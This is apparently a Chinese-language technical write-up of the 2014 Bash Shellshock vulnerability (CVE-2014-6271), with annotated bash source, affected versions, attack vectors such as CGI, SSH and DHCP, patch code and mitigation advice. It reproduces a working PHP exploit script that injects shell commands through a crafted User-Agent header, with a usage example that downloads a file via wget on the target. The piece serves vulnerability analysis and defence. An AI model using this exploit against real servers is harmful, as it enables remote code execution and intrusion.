http://ss64.com/bash/env.html

Syntaxenv [OPTION]... [NAME=VALUE]... [COMMAND [ARGS]...]
1. Options1) -u NAME2) --unset=NAMERemove variable NAME from the environment, if it was in the environment.3) -i--ignore-environmentStart with an empty environment, ignoring the inherited environment.2. COMMAND [ARGS]
需要执行的指令

1. ENV指令允许临时改变环境变量，即指定本次指令执行的环境变量，这从一定程度上给了黑客进行PATH Hajaking的可能性
2. ENV指令还允许在设置环境变量后进行指令执行，从某种程度上来说，ENV相当于一个指令执行的指令，同时还附带有临时设置环境变量的功能

http://ss64.com/bash/env.html
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
http://seclists.org/oss-sec/2014/q3/651
https://access.redhat.com/node/1200223

http://seclists.org/oss-sec/2014/q3/650
https://community.qualys.com/blogs/securitylabs/2014/09/24/bash-remote-code-execution-vulnerability-cve-2014-6271

https://access.redhat.com/articles/1200223

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/

http://www.exploit-db.com/exploits/34766/

http://www.oschina.net/news/55581/gitlab-shell-and-bash-cve-2014-6271

Under certain circumstances, bash will execute user code while processing the environment for exported function definitions.

http://download.chinaunix.net/download.php?id=24862&ResourceID=7

...
if (interactive_shell == 0 && read_but_dont_execute)
{last_result = EXECUTION_SUCCESS;dispose_command (global_command);global_command = (COMMAND *)NULL;
}
else if (command = global_command)
{struct fd_bitmap *bitmap;  /*这里没有对传入的command进行正确的边界检查，引入了代码注入的可能性*/bitmap = new_fd_bitmap (FD_BITMAP_SIZE);begin_unwind_frame ("pe_dispose");add_unwind_protect (dispose_fd_bitmap, bitmap);add_unwind_protect (dispose_command, command);    /* XXX */global_command = (COMMAND *)NULL;
...

/*
Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don't import functions from
ENV
or
parse $SHELLOPTS.
*/
void initialize_shell_variables (env, privmode) char **env; int privmode;
{...create_variable_tables ();/*从ENV环境变量中获取参数*/for (string_index = 0; string = env[string_index++]; ){char_index = 0;name = string;while ((c = *string++) && c != '=') ;if (string[-1] == '=')char_index = string - name - 1;/* If there are weird things in the environment, like `=xxx' or astring without an `=', just skip them. */if (char_index == 0)continue;/* ASSERT(name[char_index] == '=') */name[char_index] = '\0';/* Now, name = env variable name, string = env variable value, and char_index == strlen (name) *//* If exported function, define it now.  Don't import functions from the environment in privileged mode.解析环境变量设置中的函数定义*/if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4)){string_length = strlen (string);temp_string = (char *)xmalloc (3 + string_length + char_index);strcpy (temp_string, name);temp_string[char_index] = ' ';strcpy (temp_string + char_index + 1, string);/*这句是关键，initialize_shell_variables对环境变量中的代码进行了执行，由于它错误的信任的外部发送的数据，形成了和SQL注入类似的场景，这句代码和PHP中的eval是类似的，黑客只要满足2个条件1. 控制发送的参数，并在其中拼接payload2. 黑客发送的包含payload的参数会被无条件的执行，而执行方不进行任何的边界检查这就是典型的数据和代码没有进行正确区分导致的漏洞*/parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);// Ancient backwards compatibility.  Old versions of bash exported functions like name()=() {...} if (name[char_index - 1] == ')' && name[char_index - 2] == '(')name[char_index - 2] = '\0'; if (temp_var = find_function (name)){VSETATTR (temp_var, (att_exported|att_imported));array_needs_making = 1;}elsereport_error (_("error importing function definition for `%s'"), name);/* ( */if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')name[char_index - 2] = '(';        /* ) */}}
｝

1. bash(本地、ssh、cgi)允许使用ENV进行path临时设置
2. 黑客通过自定义函数，并导出到变量中
3. BASH对环境变量的设置是通过"代码执行(EVAl)"完成的，即把ENV的参数当成code来执行，这在正常情况下是没有问题的
4. 问题的关键是BASH没有对传入的参数进行正确的边界检查，导致数据和代码的混杂，产生了和PHP EVAL Code InJection类似的漏洞
env x='() { :;}; echo vulnerable'
5. 代码注入的关键点在
; echo vulnerable

http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052

bash-4.2.45-5.el7_0.2
bash-4.1.2-15.el6_5.1
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1
bash-4.1.2-15.el6_4.1
bash-3.2-33.el5.1
bash-3.2-33.el5_11.1.sjis.1
bash-3.2-24.el5_6.1
bash-3.2-32.el5_9.2
bash-3.0-27.el4.2

1. 我们的攻击目标存在cmd执行的交互接口1) 本地交互shell：这是最直接的方式2) SSH：使用SSH进行bash执行需要你知道对方的ssh帐号密码3) FTP：需要对方开启了ftp cms的执行权限，已经你已经有了一个ftp的帐号密码4) cgi：需要对方开启了CGI的解析模块2. 我们有办法设置目标(或者临时设置)的环境变量3. 我们可以控制即将进行环境变量设置的参数 

1. httpd1) webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源2) 服务器提供了CGI脚本，当 CGI script被webserver执行的时候，CGI Script会去调用Bash
黑客可以通过开启了CGI的httpd服务器进行远程代码执行2. Secure Shell (SSH)
对于git、rsync这类远程shell来说，常常会对用户可以执行的指令进行严格限制，但是这个BASH解析漏洞提供了一个bypass的向量3. dhclient
动态主机配置协议客户端(dhclient的)被用来通过DHCP自动获取网络配置信息。该客户端使用不同的环境变量和运行bash来配置网络接口。连接到一个恶意的DHCP服务器可能允许攻击者在客户机上运行任意代码。
黑客通过在域中的DHCP服务器中对DHCP的回送包进行特定的修改，可以达到污染dhcpclient的环境变量参数的目的，从而进行远程代码执行4. CUPS5. sudo6. Firefox

poc:
env x='() { :;}; echo vulnerable'  bash -c "echo this is a test"expected result:
vulnerable
this is a test//如果出现这个结果，则说明本机的bash存在漏洞

<?php
/*
Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
CVE: 2014-6271
Vendor Homepage: https://www.gnu.org/software/bash/
Author: Prakhar Prasad && Subho Halder
Author Homepage: https://prakharprasad.com && https://appknox.com
Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmdEg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/Test CGI Code : #!/bin/bashecho "Content-type: text/html"echo ""echo "Bash-is-Vulnerable"*/
error_reporting(0);
if(!defined('STDIN')) die("Please run it through command-line!\n");
$x  = getopt("u:c:");
if(!isset($x['u']) || !isset($x['c']))
{
die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");}
$url = $x['u'];
$cmd = $x['c'];$context = stream_context_create(array('http' => array('method'  => 'GET','header'  => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"')));if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0)die("Command sent to the server!\n");elsedie("Connection Error\n");
?>

http://www.exploit-db.com/exploits/34766/

1. 进行正确的边界检查，严格区分函数定义和代码注入
2. 对输入参数进行参数化防御，不允许除了允许范围之外的参数传入

/* Flags for describe_command, shared between type.def and command.def */
#define SEVAL_FUNCDEF   0x080    /* only allow function definitions */
#define SEVAL_ONECMD  0x100    /* only allow a single command */

if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
{internal_warning ("%s: ignoring function definition attempt", from_file);should_jump_to_top_level = 0;last_result = last_command_exit_value = EX_BADUSAGE;break;
}
..
if (flags & SEVAL_ONECMD)break;

http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052